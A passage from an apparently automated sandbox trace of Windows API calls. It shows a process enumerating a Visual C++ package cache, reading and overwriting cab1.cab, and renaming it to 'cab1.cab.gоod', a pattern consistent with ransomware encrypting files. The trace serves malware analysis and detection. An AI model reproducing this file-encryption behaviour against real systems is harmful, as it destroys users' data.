ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0105.091] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.092] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0105.092] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.092] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0105.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0105.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0105.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0105.092] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0105.092] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0105.093] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.093] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0105.093] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0105.093] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0105.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0105.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0105.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0105.093] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0105.093] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0105.093] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.094] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0105.094] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.094] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0105.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0105.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0105.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0105.094] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x6f [0105.094] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0105.095] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.095] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6151ff00, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x6151ff00, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x6151ff00, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0105.095] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0105.095] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.096] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0105.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0105.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0105.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0105.096] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x6f [0105.096] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0105.096] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.096] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6151ff00, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x6151ff00, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x6151ff00, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0105.096] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0105.097] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0105.097] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0105.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0105.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0105.097] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0105.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0105.097] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x34a2198 | out: lpFileInformation=0x34a2198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6151ff00, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x6151ff00, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x6151ff00, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520)) returned 1 [0105.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0105.097] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0105.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0105.097] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0105.098] GetFileType (hFile=0x6e4) returned 0x1 [0105.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0105.098] GetFileType (hFile=0x6e4) returned 0x1 [0105.098] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0105.098] ReadFile (in: hFile=0x6e4, lpBuffer=0x34a2670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x34a2670*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0105.136] CloseHandle (hObject=0x6e4) returned 1 [0105.248] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0105.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0105.251] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0105.263] GetFileType (hFile=0x6e0) returned 0x1 [0105.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0105.263] GetFileType (hFile=0x6e0) returned 0x1 [0105.263] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x4b4520 [0105.263] WriteFile (in: hFile=0x6e0, lpBuffer=0x3368260*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x3368260*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0105.298] CloseHandle (hObject=0x6e0) returned 1 [0105.299] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0105.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0105.299] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0105.299] GetFileType (hFile=0x6e0) returned 0x1 [0105.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0105.299] GetFileType (hFile=0x6e0) returned 0x1 [0105.299] ReadFile (in: hFile=0x6e0, lpBuffer=0x33eb178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x33eb178*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0105.349] CloseHandle (hObject=0x6e0) returned 1 [0105.349] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0105.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0105.349] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0105.349] GetFileType (hFile=0x6e0) returned 0x1 [0105.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0105.349] GetFileType (hFile=0x6e0) returned 0x1 [0105.349] WriteFile (in: hFile=0x6e0, lpBuffer=0x33e9e70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x33e9e70*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0105.349] CloseHandle (hObject=0x6e0) returned 1 [0105.349] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x78 [0105.349] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7d [0105.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0105.350] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6151ff00, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x6151ff00, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x3b017a28, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4b4530)) returned 1 [0105.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0105.350] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.gоod" (normalized: "c:\\programdata\\package 